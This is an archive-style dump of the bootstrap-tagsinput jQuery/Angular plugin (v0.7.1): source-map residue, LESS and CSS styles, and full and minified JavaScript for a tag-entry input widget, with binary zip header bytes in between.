MAAMgG,KAAK,YAAa6E,GAC1BI,EAAQlF,KAAK8E,GAEQ,WAAjB7K,KAAKM,SACLV,EAAE,SAAUA,EAAEI,OAAOY,KAAK,WAAY,YAI1ChB,EAAEI,MAAMuH,IAAI3H,EAAEI,MAAMuH,SAiBN,gBAARuD,GAEHG,EAAQjK,OAAS,EAAIiK,EAAUA,EAAQ,GAEvCA,GAIXrL,EAAEgL,GAAGC,UAAUM,YAActL,CAsB7B,IAAIgC,GAAsBjC,EAAE,UA2D5BA,GAAE,WACAA,EAAE,qEAAqEiL,eAExEO,OAAOC","file":"bootstrap-tagsinput.min.js"}bootstrap-tagsinput.less000064400000002004151677260650011500 0ustar00.bootstrap-tagsinput { background-color: #fff; border: 1px solid #ccc; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); display: inline-block; padding: 4px 6px; margin-bottom: 10px; color: #555; vertical-align: middle; border-radius: 4px; max-width: 100%; line-height: 22px; cursor: text; input { border: none; box-shadow: none; outline: none; background-color: transparent; padding: 0; margin: 0; width: auto !important; max-width: inherit; &:focus { border: none; box-shadow: none; } } .tag { margin-right: 2px; color: white; [data-role="remove"] { margin-left:8px; cursor:pointer; &:after{ content: "x"; padding:0px 2px; } &:hover { box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); &:active { box-shadow: inset 0 3px 5px rgba(0,0,0,0.125); } } } } } bootstrap-tagsinput.zip000064400000152250151677260650011345 0ustar00PK �jGdist/PK �jGv��gg#dist/bootstrap-tagsinput-angular.jsangular.module('bootstrap-tagsinput', []) .directive('bootstrapTagsinput', [function() { function getItemProperty(scope, property) { if (!property) return undefined; if (angular.isFunction(scope.$parent[property])) return scope.$parent[property]; return function(item) { return item[property]; }; } return { restrict: 'EA', scope: { model: '=ngModel' }, template: '<select multiple></select>', replace: false, link: function(scope, element, attrs) { $(function() { if (!angular.isArray(scope.model)) scope.model = []; var select = $('select', element); var typeaheadSourceArray = attrs.typeaheadSource ? attrs.typeaheadSource.split('.') : null; var typeaheadSource = typeaheadSourceArray ? (typeaheadSourceArray.length > 1 ? scope.$parent[typeaheadSourceArray[0]][typeaheadSourceArray[1]] : scope.$parent[typeaheadSourceArray[0]]) : null; select.tagsinput(scope.$parent[attrs.options || ''] || { typeahead : { source : angular.isFunction(typeaheadSource) ? typeaheadSource : null }, itemValue: getItemProperty(scope, attrs.itemvalue), itemText : getItemProperty(scope, attrs.itemtext), confirmKeys : getItemProperty(scope, attrs.confirmkeys) ? JSON.parse(attrs.confirmkeys) : [13], tagClass : angular.isFunction(scope.$parent[attrs.tagclass]) ? scope.$parent[attrs.tagclass] : function(item) { return attrs.tagclass; } }); for (var i = 0; i < scope.model.length; i++) { select.tagsinput('add', scope.model[i]); } select.on('itemAdded', function(event) { if (scope.model.indexOf(event.item) === -1) scope.model.push(event.item); }); select.on('itemRemoved', function(event) { var idx = scope.model.indexOf(event.item); if (idx !== -1) scope.model.splice(idx, 1); }); // create a shallow copy of model's current state, needed to determine // diff when model changes var prev = scope.model.slice(); scope.$watch("model", function() { var added = scope.model.filter(function(i) {return prev.indexOf(i) === -1;}), removed = prev.filter(function(i) {return scope.model.indexOf(i) === -1;}), i; prev = scope.model.slice(); // Remove tags no longer in binded model for (i = 0; i < removed.length; i++) { select.tagsinput('remove', removed[i]); } // Refresh remaining tags select.tagsinput('refresh'); // Add new items in model as tags for (i = 0; i < added.length; i++) { select.tagsinput('add', added[i]); } }, true); }); } }; }]); PK �jG�T+��'dist/bootstrap-tagsinput-angular.min.js/* * bootstrap-tagsinput v0.7.1 by Tim Schlechter * */ angular.module("bootstrap-tagsinput",[]).directive("bootstrapTagsinput",[function(){function a(a,b){return b?angular.isFunction(a.$parent[b])?a.$parent[b]:function(a){return a[b]}:void 0}return{restrict:"EA",scope:{model:"=ngModel"},template:"<select multiple></select>",replace:!1,link:function(b,c,d){$(function(){angular.isArray(b.model)||(b.model=[]);var e=$("select",c),f=d.typeaheadSource?d.typeaheadSource.split("."):null,g=f?f.length>1?b.$parent[f[0]][f[1]]:b.$parent[f[0]]:null;e.tagsinput(b.$parent[d.options||""]||{typeahead:{source:angular.isFunction(g)?g:null},itemValue:a(b,d.itemvalue),itemText:a(b,d.itemtext),confirmKeys:a(b,d.confirmkeys)?JSON.parse(d.confirmkeys):[13],tagClass:angular.isFunction(b.$parent[d.tagclass])?b.$parent[d.tagclass]:function(a){return d.tagclass}});for(var h=0;h<b.model.length;h++)e.tagsinput("add",b.model[h]);e.on("itemAdded",function(a){-1===b.model.indexOf(a.item)&&b.model.push(a.item)}),e.on("itemRemoved",function(a){var c=b.model.indexOf(a.item);-1!==c&&b.model.splice(c,1)});var i=b.model.slice();b.$watch("model",function(){var a,c=b.model.filter(function(a){return-1===i.indexOf(a)}),d=i.filter(function(a){return-1===b.model.indexOf(a)});for(i=b.model.slice(),a=0;a<d.length;a++)e.tagsinput("remove",d[a]);for(e.tagsinput("refresh"),a=0;a<c.length;a++)e.tagsinput("add",c[a])},!0)})}}}]); //# sourceMappingURL=bootstrap-tagsinput-angular.min.js.mapPK �jG �L�UUdist/bootstrap-tagsinput.js(function ($) { "use strict"; var defaultOptions = { tagClass: function(item) { return 'label label-info'; }, itemValue: function(item) { return item ? item.toString() : item; }, itemText: function(item) { return this.itemValue(item); }, itemTitle: function(item) { return null; }, freeInput: true, addOnBlur: true, maxTags: undefined, maxChars: undefined, confirmKeys: [13, 44], delimiter: ',', delimiterRegex: null, cancelConfirmKeysOnEmpty: false, onTagExists: function(item, $tag) { $tag.hide().fadeIn(); }, trimValue: false, allowDuplicates: false }; /** * Constructor function */ function TagsInput(element, options) { this.isInit = true; this.itemsArray = []; this.$element = $(element); this.$element.hide(); this.isSelect = (element.tagName === 'SELECT'); this.multiple = (this.isSelect && element.hasAttribute('multiple')); this.objectItems = options && options.itemValue; this.placeholderText = element.hasAttribute('placeholder') ? this.$element.attr('placeholder') : ''; this.inputSize = Math.max(1, this.placeholderText.length); this.$container = $('<div class="bootstrap-tagsinput"></div>'); this.$input = $('<input type="text" placeholder="' + this.placeholderText + '"/>').appendTo(this.$container); this.$element.before(this.$container); this.build(options); this.isInit = false; } TagsInput.prototype = { constructor: TagsInput, /** * Adds the given item as a new tag. Pass true to dontPushVal to prevent * updating the elements val() */ add: function(item, dontPushVal, options) { var self = this; if (self.options.maxTags && self.itemsArray.length >= self.options.maxTags) return; // Ignore falsey values, except false if (item !== false && !item) return; // Trim value if (typeof item === "string" && self.options.trimValue) { item = $.trim(item); } // Throw an error when trying to add an object while the itemValue option was not set if (typeof item === "object" && !self.objectItems) throw("Can't add objects when itemValue option is not set"); // Ignore strings only containg whitespace if (item.toString().match(/^\s*$/)) return; // If SELECT but not multiple, remove current tag if (self.isSelect && !self.multiple && self.itemsArray.length > 0) self.remove(self.itemsArray[0]); if (typeof item === "string" && this.$element[0].tagName === 'INPUT') { var delimiter = (self.options.delimiterRegex) ? self.options.delimiterRegex : self.options.delimiter; var items = item.split(delimiter); if (items.length > 1) { for (var i = 0; i < items.length; i++) { this.add(items[i], true); } if (!dontPushVal) self.pushVal(); return; } } var itemValue = self.options.itemValue(item), itemText = self.options.itemText(item), tagClass = self.options.tagClass(item), itemTitle = self.options.itemTitle(item); // Ignore items allready added var existing = $.grep(self.itemsArray, function(item) { return self.options.itemValue(item) === itemValue; } )[0]; if (existing && !self.options.allowDuplicates) { // Invoke onTagExists if (self.options.onTagExists) { var $existingTag = $(".tag", self.$container).filter(function() { return $(this).data("item") === existing; }); self.options.onTagExists(item, $existingTag); } return; } // if length greater than limit if (self.items().toString().length + item.length + 1 > self.options.maxInputLength) return; // raise beforeItemAdd arg var beforeItemAddEvent = $.Event('beforeItemAdd', { item: item, cancel: false, options: options}); self.$element.trigger(beforeItemAddEvent); if (beforeItemAddEvent.cancel) return; // register item in internal array and map self.itemsArray.push(item); // add a tag element var $tag = $('<span class="tag ' + htmlEncode(tagClass) + (itemTitle !== null ? ('" title="' + itemTitle) : '') + '">' + htmlEncode(itemText) + '<span data-role="remove"></span></span>'); $tag.data('item', item); self.findInputWrapper().before($tag); $tag.after(' '); // Check to see if the tag exists in its raw or uri-encoded form var optionExists = ( $('option[value="' + encodeURIComponent(itemValue) + '"]', self.$element).length || $('option[value="' + htmlEncode(itemValue) + '"]', self.$element).length ); // add <option /> if item represents a value not present in one of the <select />'s options if (self.isSelect && !optionExists) { var $option = $('<option selected>' + htmlEncode(itemText) + '</option>'); $option.data('item', item); $option.attr('value', itemValue); self.$element.append($option); } if (!dontPushVal) self.pushVal(); // Add class when reached maxTags if (self.options.maxTags === self.itemsArray.length || self.items().toString().length === self.options.maxInputLength) self.$container.addClass('bootstrap-tagsinput-max'); // If using typeahead, once the tag has been added, clear the typeahead value so it does not stick around in the input. if ($('.typeahead, .twitter-typeahead', self.$container).length) { self.$input.typeahead('val', ''); } if (this.isInit) { self.$element.trigger($.Event('itemAddedOnInit', { item: item, options: options })); } else { self.$element.trigger($.Event('itemAdded', { item: item, options: options })); } }, /** * Removes the given item. Pass true to dontPushVal to prevent updating the * elements val() */ remove: function(item, dontPushVal, options) { var self = this; if (self.objectItems) { if (typeof item === "object") item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) == self.options.itemValue(item); } ); else item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) == item; } ); item = item[item.length-1]; } if (item) { var beforeItemRemoveEvent = $.Event('beforeItemRemove', { item: item, cancel: false, options: options }); self.$element.trigger(beforeItemRemoveEvent); if (beforeItemRemoveEvent.cancel) return; $('.tag', self.$container).filter(function() { return $(this).data('item') === item; }).remove(); $('option', self.$element).filter(function() { return $(this).data('item') === item; }).remove(); if($.inArray(item, self.itemsArray) !== -1) self.itemsArray.splice($.inArray(item, self.itemsArray), 1); } if (!dontPushVal) self.pushVal(); // Remove class when reached maxTags if (self.options.maxTags > self.itemsArray.length) self.$container.removeClass('bootstrap-tagsinput-max'); self.$element.trigger($.Event('itemRemoved', { item: item, options: options })); }, /** * Removes all items */ removeAll: function() { var self = this; $('.tag', self.$container).remove(); $('option', self.$element).remove(); while(self.itemsArray.length > 0) self.itemsArray.pop(); self.pushVal(); }, /** * Refreshes the tags so they match the text/value of their corresponding * item. */ refresh: function() { var self = this; $('.tag', self.$container).each(function() { var $tag = $(this), item = $tag.data('item'), itemValue = self.options.itemValue(item), itemText = self.options.itemText(item), tagClass = self.options.tagClass(item); // Update tag's class and inner text $tag.attr('class', null); $tag.addClass('tag ' + htmlEncode(tagClass)); $tag.contents().filter(function() { return this.nodeType == 3; })[0].nodeValue = htmlEncode(itemText); if (self.isSelect) { var option = $('option', self.$element).filter(function() { return $(this).data('item') === item; }); option.attr('value', itemValue); } }); }, /** * Returns the items added as tags */ items: function() { return this.itemsArray; }, /** * Assembly value by retrieving the value of each item, and set it on the * element. */ pushVal: function() { var self = this, val = $.map(self.items(), function(item) { return self.options.itemValue(item).toString(); }); self.$element.val(val, true).trigger('change'); }, /** * Initializes the tags input behaviour on the element */ build: function(options) { var self = this; self.options = $.extend({}, defaultOptions, options); // When itemValue is set, freeInput should always be false if (self.objectItems) self.options.freeInput = false; makeOptionItemFunction(self.options, 'itemValue'); makeOptionItemFunction(self.options, 'itemText'); makeOptionFunction(self.options, 'tagClass'); // Typeahead Bootstrap version 2.3.2 if (self.options.typeahead) { var typeahead = self.options.typeahead || {}; makeOptionFunction(typeahead, 'source'); self.$input.typeahead($.extend({}, typeahead, { source: function (query, process) { function processItems(items) { var texts = []; for (var i = 0; i < items.length; i++) { var text = self.options.itemText(items[i]); map[text] = items[i]; texts.push(text); } process(texts); } this.map = {}; var map = this.map, data = typeahead.source(query); if ($.isFunction(data.success)) { // support for Angular callbacks data.success(processItems); } else if ($.isFunction(data.then)) { // support for Angular promises data.then(processItems); } else { // support for functions and jquery promises $.when(data) .then(processItems); } }, updater: function (text) { self.add(this.map[text]); return this.map[text]; }, matcher: function (text) { return (text.toLowerCase().indexOf(this.query.trim().toLowerCase()) !== -1); }, sorter: function (texts) { return texts.sort(); }, highlighter: function (text) { var regex = new RegExp( '(' + this.query + ')', 'gi' ); return text.replace( regex, "<strong>$1</strong>" ); } })); } // typeahead.js if (self.options.typeaheadjs) { var typeaheadConfig = null; var typeaheadDatasets = {}; // Determine if main configurations were passed or simply a dataset var typeaheadjs = self.options.typeaheadjs; if ($.isArray(typeaheadjs)) { typeaheadConfig = typeaheadjs[0]; typeaheadDatasets = typeaheadjs[1]; } else { typeaheadDatasets = typeaheadjs; } self.$input.typeahead(typeaheadConfig, typeaheadDatasets).on('typeahead:selected', $.proxy(function (obj, datum) { if (typeaheadDatasets.valueKey) self.add(datum[typeaheadDatasets.valueKey]); else self.add(datum); self.$input.typeahead('val', ''); }, self)); } self.$container.on('click', $.proxy(function(event) { if (! self.$element.attr('disabled')) { self.$input.removeAttr('disabled'); } self.$input.focus(); }, self)); if (self.options.addOnBlur && self.options.freeInput) { self.$input.on('focusout', $.proxy(function(event) { // HACK: only process on focusout when no typeahead opened, to // avoid adding the typeahead text as tag if ($('.typeahead, .twitter-typeahead', self.$container).length === 0) { self.add(self.$input.val()); self.$input.val(''); } }, self)); } self.$container.on('keydown', 'input', $.proxy(function(event) { var $input = $(event.target), $inputWrapper = self.findInputWrapper(); if (self.$element.attr('disabled')) { self.$input.attr('disabled', 'disabled'); return; } switch (event.which) { // BACKSPACE case 8: if (doGetCaretPosition($input[0]) === 0) { var prev = $inputWrapper.prev(); if (prev.length) { self.remove(prev.data('item')); } } break; // DELETE case 46: if (doGetCaretPosition($input[0]) === 0) { var next = $inputWrapper.next(); if (next.length) { self.remove(next.data('item')); } } break; // LEFT ARROW case 37: // Try to move the input before the previous tag var $prevTag = $inputWrapper.prev(); if ($input.val().length === 0 && $prevTag[0]) { $prevTag.before($inputWrapper); $input.focus(); } break; // RIGHT ARROW case 39: // Try to move the input after the next tag var $nextTag = $inputWrapper.next(); if ($input.val().length === 0 && $nextTag[0]) { $nextTag.after($inputWrapper); $input.focus(); } break; default: // ignore } // Reset internal input's size var textLength = $input.val().length, wordSpace = Math.ceil(textLength / 5), size = textLength + wordSpace + 1; $input.attr('size', Math.max(this.inputSize, $input.val().length)); }, self)); self.$container.on('keypress', 'input', $.proxy(function(event) { var $input = $(event.target); if (self.$element.attr('disabled')) { self.$input.attr('disabled', 'disabled'); return; } var text = $input.val(), maxLengthReached = self.options.maxChars && text.length >= self.options.maxChars; if (self.options.freeInput && (keyCombinationInList(event, self.options.confirmKeys) || maxLengthReached)) { // Only attempt to add a tag if there is data in the field if (text.length !== 0) { self.add(maxLengthReached ? text.substr(0, self.options.maxChars) : text); $input.val(''); } // If the field is empty, let the event triggered fire as usual if (self.options.cancelConfirmKeysOnEmpty === false) { event.preventDefault(); } } // Reset internal input's size var textLength = $input.val().length, wordSpace = Math.ceil(textLength / 5), size = textLength + wordSpace + 1; $input.attr('size', Math.max(this.inputSize, $input.val().length)); }, self)); // Remove icon clicked self.$container.on('click', '[data-role=remove]', $.proxy(function(event) { if (self.$element.attr('disabled')) { return; } self.remove($(event.target).closest('.tag').data('item')); }, self)); // Only add existing value as tags when using strings as tags if (self.options.itemValue === defaultOptions.itemValue) { if (self.$element[0].tagName === 'INPUT') { self.add(self.$element.val()); } else { $('option', self.$element).each(function() { self.add($(this).attr('value'), true); }); } } }, /** * Removes all tagsinput behaviour and unregsiter all event handlers */ destroy: function() { var self = this; // Unbind events self.$container.off('keypress', 'input'); self.$container.off('click', '[role=remove]'); self.$container.remove(); self.$element.removeData('tagsinput'); self.$element.show(); }, /** * Sets focus on the tagsinput */ focus: function() { this.$input.focus(); }, /** * Returns the internal input element */ input: function() { return this.$input; }, /** * Returns the element which is wrapped around the internal input. This * is normally the $container, but typeahead.js moves the $input element. */ findInputWrapper: function() { var elt = this.$input[0], container = this.$container[0]; while(elt && elt.parentNode !== container) elt = elt.parentNode; return $(elt); } }; /** * Register JQuery plugin */ $.fn.tagsinput = function(arg1, arg2, arg3) { var results = []; this.each(function() { var tagsinput = $(this).data('tagsinput'); // Initialize a new tags input if (!tagsinput) { tagsinput = new TagsInput(this, arg1); $(this).data('tagsinput', tagsinput); results.push(tagsinput); if (this.tagName === 'SELECT') { $('option', $(this)).attr('selected', 'selected'); } // Init tags from $(this).val() $(this).val($(this).val()); } else if (!arg1 && !arg2) { // tagsinput already exists // no function, trying to init results.push(tagsinput); } else if(tagsinput[arg1] !== undefined) { // Invoke function on existing tags input if(tagsinput[arg1].length === 3 && arg3 !== undefined){ var retVal = tagsinput[arg1](arg2, null, arg3); }else{ var retVal = tagsinput[arg1](arg2); } if (retVal !== undefined) results.push(retVal); } }); if ( typeof arg1 == 'string') { // Return the results from the invoked function calls return results.length > 1 ? results : results[0]; } else { return results; } }; $.fn.tagsinput.Constructor = TagsInput; /** * Most options support both a string or number as well as a function as * option value. This function makes sure that the option with the given * key in the given options is wrapped in a function */ function makeOptionItemFunction(options, key) { if (typeof options[key] !== 'function') { var propertyName = options[key]; options[key] = function(item) { return item[propertyName]; }; } } function makeOptionFunction(options, key) { if (typeof options[key] !== 'function') { var value = options[key]; options[key] = function() { return value; }; } } /** * HtmlEncodes the given value */ var htmlEncodeContainer = $('<div />'); function htmlEncode(value) { if (value) { return htmlEncodeContainer.text(value).html(); } else { return ''; } } /** * Returns the position of the caret in the given input field * http://flightschool.acylt.com/devnotes/caret-position-woes/ */ function doGetCaretPosition(oField) { var iCaretPos = 0; if (document.selection) { oField.focus (); var oSel = document.selection.createRange(); oSel.moveStart ('character', -oField.value.length); iCaretPos = oSel.text.length; } else if (oField.selectionStart || oField.selectionStart == '0') { iCaretPos = oField.selectionStart; } return (iCaretPos); } /** * Returns boolean indicates whether user has pressed an expected key combination. * @param object keyPressEvent: JavaScript event object, refer * http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html * @param object lookupList: expected key combinations, as in: * [13, {which: 188, shiftKey: true}] */ function keyCombinationInList(keyPressEvent, lookupList) { var found = false; $.each(lookupList, function (index, keyCombination) { if (typeof (keyCombination) === 'number' && keyPressEvent.which === keyCombination) { found = true; return false; } if (keyPressEvent.which === keyCombination.which) { var alt = !keyCombination.hasOwnProperty('altKey') || keyPressEvent.altKey === keyCombination.altKey, shift = !keyCombination.hasOwnProperty('shiftKey') || keyPressEvent.shiftKey === keyCombination.shiftKey, ctrl = !keyCombination.hasOwnProperty('ctrlKey') || keyPressEvent.ctrlKey === keyCombination.ctrlKey; if (alt && shift && ctrl) { found = true; return false; } } }); return found; } /** * Initialize tagsinput behaviour on inputs and selects which have * data-role=tagsinput */ $(function() { $("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput(); }); })(window.jQuery); PK �jG���#�#dist/bootstrap-tagsinput.min.js/* * bootstrap-tagsinput v0.7.1 by Tim Schlechter * */ !function(a){"use strict";function b(b,c){this.isInit=!0,this.itemsArray=[],this.$element=a(b),this.$element.hide(),this.isSelect="SELECT"===b.tagName,this.multiple=this.isSelect&&b.hasAttribute("multiple"),this.objectItems=c&&c.itemValue,this.placeholderText=b.hasAttribute("placeholder")?this.$element.attr("placeholder"):"",this.inputSize=Math.max(1,this.placeholderText.length),this.$container=a('<div class="bootstrap-tagsinput"></div>'),this.$input=a('<input type="text" placeholder="'+this.placeholderText+'"/>').appendTo(this.$container),this.$element.before(this.$container),this.build(c),this.isInit=!1}function c(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(a){return a[c]}}}function d(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(){return c}}}function e(a){return a?i.text(a).html():""}function f(a){var b=0;if(document.selection){a.focus();var c=document.selection.createRange();c.moveStart("character",-a.value.length),b=c.text.length}else(a.selectionStart||"0"==a.selectionStart)&&(b=a.selectionStart);return b}function g(b,c){var d=!1;return a.each(c,function(a,c){if("number"==typeof c&&b.which===c)return d=!0,!1;if(b.which===c.which){var e=!c.hasOwnProperty("altKey")||b.altKey===c.altKey,f=!c.hasOwnProperty("shiftKey")||b.shiftKey===c.shiftKey,g=!c.hasOwnProperty("ctrlKey")||b.ctrlKey===c.ctrlKey;if(e&&f&&g)return d=!0,!1}}),d}var h={tagClass:function(a){return"label label-info"},itemValue:function(a){return a?a.toString():a},itemText:function(a){return this.itemValue(a)},itemTitle:function(a){return null},freeInput:!0,addOnBlur:!0,maxTags:void 0,maxChars:void 0,confirmKeys:[13,44],delimiter:",",delimiterRegex:null,cancelConfirmKeysOnEmpty:!1,onTagExists:function(a,b){b.hide().fadeIn()},trimValue:!1,allowDuplicates:!1};b.prototype={constructor:b,add:function(b,c,d){var f=this;if(!(f.options.maxTags&&f.itemsArray.length>=f.options.maxTags)&&(b===!1||b)){if("string"==typeof b&&f.options.trimValue&&(b=a.trim(b)),"object"==typeof b&&!f.objectItems)throw"Can't add objects when itemValue option is not set";if(!b.toString().match(/^\s*$/)){if(f.isSelect&&!f.multiple&&f.itemsArray.length>0&&f.remove(f.itemsArray[0]),"string"==typeof b&&"INPUT"===this.$element[0].tagName){var g=f.options.delimiterRegex?f.options.delimiterRegex:f.options.delimiter,h=b.split(g);if(h.length>1){for(var i=0;i<h.length;i++)this.add(h[i],!0);return void(c||f.pushVal())}}var j=f.options.itemValue(b),k=f.options.itemText(b),l=f.options.tagClass(b),m=f.options.itemTitle(b),n=a.grep(f.itemsArray,function(a){return f.options.itemValue(a)===j})[0];if(!n||f.options.allowDuplicates){if(!(f.items().toString().length+b.length+1>f.options.maxInputLength)){var o=a.Event("beforeItemAdd",{item:b,cancel:!1,options:d});if(f.$element.trigger(o),!o.cancel){f.itemsArray.push(b);var p=a('<span class="tag '+e(l)+(null!==m?'" title="'+m:"")+'">'+e(k)+'<span data-role="remove"></span></span>');p.data("item",b),f.findInputWrapper().before(p),p.after(" ");var q=a('option[value="'+encodeURIComponent(j)+'"]',f.$element).length||a('option[value="'+e(j)+'"]',f.$element).length;if(f.isSelect&&!q){var r=a("<option selected>"+e(k)+"</option>");r.data("item",b),r.attr("value",j),f.$element.append(r)}c||f.pushVal(),(f.options.maxTags===f.itemsArray.length||f.items().toString().length===f.options.maxInputLength)&&f.$container.addClass("bootstrap-tagsinput-max"),a(".typeahead, .twitter-typeahead",f.$container).length&&f.$input.typeahead("val",""),this.isInit?f.$element.trigger(a.Event("itemAddedOnInit",{item:b,options:d})):f.$element.trigger(a.Event("itemAdded",{item:b,options:d}))}}}else if(f.options.onTagExists){var s=a(".tag",f.$container).filter(function(){return a(this).data("item")===n});f.options.onTagExists(b,s)}}}},remove:function(b,c,d){var e=this;if(e.objectItems&&(b="object"==typeof b?a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==e.options.itemValue(b)}):a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==b}),b=b[b.length-1]),b){var f=a.Event("beforeItemRemove",{item:b,cancel:!1,options:d});if(e.$element.trigger(f),f.cancel)return;a(".tag",e.$container).filter(function(){return a(this).data("item")===b}).remove(),a("option",e.$element).filter(function(){return a(this).data("item")===b}).remove(),-1!==a.inArray(b,e.itemsArray)&&e.itemsArray.splice(a.inArray(b,e.itemsArray),1)}c||e.pushVal(),e.options.maxTags>e.itemsArray.length&&e.$container.removeClass("bootstrap-tagsinput-max"),e.$element.trigger(a.Event("itemRemoved",{item:b,options:d}))},removeAll:function(){var b=this;for(a(".tag",b.$container).remove(),a("option",b.$element).remove();b.itemsArray.length>0;)b.itemsArray.pop();b.pushVal()},refresh:function(){var b=this;a(".tag",b.$container).each(function(){var c=a(this),d=c.data("item"),f=b.options.itemValue(d),g=b.options.itemText(d),h=b.options.tagClass(d);if(c.attr("class",null),c.addClass("tag "+e(h)),c.contents().filter(function(){return 3==this.nodeType})[0].nodeValue=e(g),b.isSelect){var i=a("option",b.$element).filter(function(){return a(this).data("item")===d});i.attr("value",f)}})},items:function(){return this.itemsArray},pushVal:function(){var b=this,c=a.map(b.items(),function(a){return b.options.itemValue(a).toString()});b.$element.val(c,!0).trigger("change")},build:function(b){var e=this;if(e.options=a.extend({},h,b),e.objectItems&&(e.options.freeInput=!1),c(e.options,"itemValue"),c(e.options,"itemText"),d(e.options,"tagClass"),e.options.typeahead){var i=e.options.typeahead||{};d(i,"source"),e.$input.typeahead(a.extend({},i,{source:function(b,c){function d(a){for(var b=[],d=0;d<a.length;d++){var g=e.options.itemText(a[d]);f[g]=a[d],b.push(g)}c(b)}this.map={};var f=this.map,g=i.source(b);a.isFunction(g.success)?g.success(d):a.isFunction(g.then)?g.then(d):a.when(g).then(d)},updater:function(a){return e.add(this.map[a]),this.map[a]},matcher:function(a){return-1!==a.toLowerCase().indexOf(this.query.trim().toLowerCase())},sorter:function(a){return a.sort()},highlighter:function(a){var b=new RegExp("("+this.query+")","gi");return a.replace(b,"<strong>$1</strong>")}}))}if(e.options.typeaheadjs){var j=null,k={},l=e.options.typeaheadjs;a.isArray(l)?(j=l[0],k=l[1]):k=l,e.$input.typeahead(j,k).on("typeahead:selected",a.proxy(function(a,b){k.valueKey?e.add(b[k.valueKey]):e.add(b),e.$input.typeahead("val","")},e))}e.$container.on("click",a.proxy(function(a){e.$element.attr("disabled")||e.$input.removeAttr("disabled"),e.$input.focus()},e)),e.options.addOnBlur&&e.options.freeInput&&e.$input.on("focusout",a.proxy(function(b){0===a(".typeahead, .twitter-typeahead",e.$container).length&&(e.add(e.$input.val()),e.$input.val(""))},e)),e.$container.on("keydown","input",a.proxy(function(b){var c=a(b.target),d=e.findInputWrapper();if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");switch(b.which){case 8:if(0===f(c[0])){var g=d.prev();g.length&&e.remove(g.data("item"))}break;case 46:if(0===f(c[0])){var h=d.next();h.length&&e.remove(h.data("item"))}break;case 37:var i=d.prev();0===c.val().length&&i[0]&&(i.before(d),c.focus());break;case 39:var j=d.next();0===c.val().length&&j[0]&&(j.after(d),c.focus())}var k=c.val().length;Math.ceil(k/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("keypress","input",a.proxy(function(b){var c=a(b.target);if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");var d=c.val(),f=e.options.maxChars&&d.length>=e.options.maxChars;e.options.freeInput&&(g(b,e.options.confirmKeys)||f)&&(0!==d.length&&(e.add(f?d.substr(0,e.options.maxChars):d),c.val("")),e.options.cancelConfirmKeysOnEmpty===!1&&b.preventDefault());var h=c.val().length;Math.ceil(h/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("click","[data-role=remove]",a.proxy(function(b){e.$element.attr("disabled")||e.remove(a(b.target).closest(".tag").data("item"))},e)),e.options.itemValue===h.itemValue&&("INPUT"===e.$element[0].tagName?e.add(e.$element.val()):a("option",e.$element).each(function(){e.add(a(this).attr("value"),!0)}))},destroy:function(){var a=this;a.$container.off("keypress","input"),a.$container.off("click","[role=remove]"),a.$container.remove(),a.$element.removeData("tagsinput"),a.$element.show()},focus:function(){this.$input.focus()},input:function(){return this.$input},findInputWrapper:function(){for(var b=this.$input[0],c=this.$container[0];b&&b.parentNode!==c;)b=b.parentNode;return a(b)}},a.fn.tagsinput=function(c,d,e){var f=[];return this.each(function(){var g=a(this).data("tagsinput");if(g)if(c||d){if(void 0!==g[c]){if(3===g[c].length&&void 0!==e)var h=g[c](d,null,e);else var h=g[c](d);void 0!==h&&f.push(h)}}else f.push(g);else g=new b(this,c),a(this).data("tagsinput",g),f.push(g),"SELECT"===this.tagName&&a("option",a(this)).attr("selected","selected"),a(this).val(a(this).val())}),"string"==typeof c?f.length>1?f:f[0]:f},a.fn.tagsinput.Constructor=b;var i=a("<div />");a(function(){a("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput()})}(window.jQuery); //# sourceMappingURL=bootstrap-tagsinput.min.js.mapPK �jG�����&dist/bootstrap-tagsinput-typeahead.css.twitter-typeahead .tt-query, .twitter-typeahead .tt-hint { margin-bottom: 0; } .twitter-typeahead .tt-hint { display: none; } .tt-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; list-style: none; font-size: 14px; background-color: #ffffff; border: 1px solid #cccccc; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); background-clip: padding-box; cursor: pointer; } .tt-suggestion { display: block; padding: 3px 20px; clear: both; font-weight: normal; line-height: 1.428571429; color: #333333; white-space: nowrap; } .tt-suggestion:hover, .tt-suggestion:focus { color: #ffffff; text-decoration: none; outline: 0; background-color: #428bca; } PK �jGi��6%%dist/bootstrap-tagsinput.css.bootstrap-tagsinput { background-color: #fff; border: 1px solid #ccc; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); display: inline-block; padding: 4px 6px; color: #555; vertical-align: middle; border-radius: 4px; max-width: 100%; line-height: 22px; cursor: text; } .bootstrap-tagsinput input { border: none; box-shadow: none; outline: none; background-color: transparent; padding: 0 6px; margin: 0; width: auto; max-width: inherit; } .bootstrap-tagsinput.form-control input::-moz-placeholder { color: #777; opacity: 1; } .bootstrap-tagsinput.form-control input:-ms-input-placeholder { color: #777; } .bootstrap-tagsinput.form-control input::-webkit-input-placeholder { color: #777; } .bootstrap-tagsinput input:focus { border: none; box-shadow: none; } .bootstrap-tagsinput .tag { margin-right: 2px; color: white; } .bootstrap-tagsinput .tag [data-role="remove"] { margin-left: 8px; cursor: pointer; } .bootstrap-tagsinput .tag [data-role="remove"]:after { content: "x"; padding: 0px 2px; } .bootstrap-tagsinput .tag [data-role="remove"]:hover { box-shadow: inset 0 1px 0 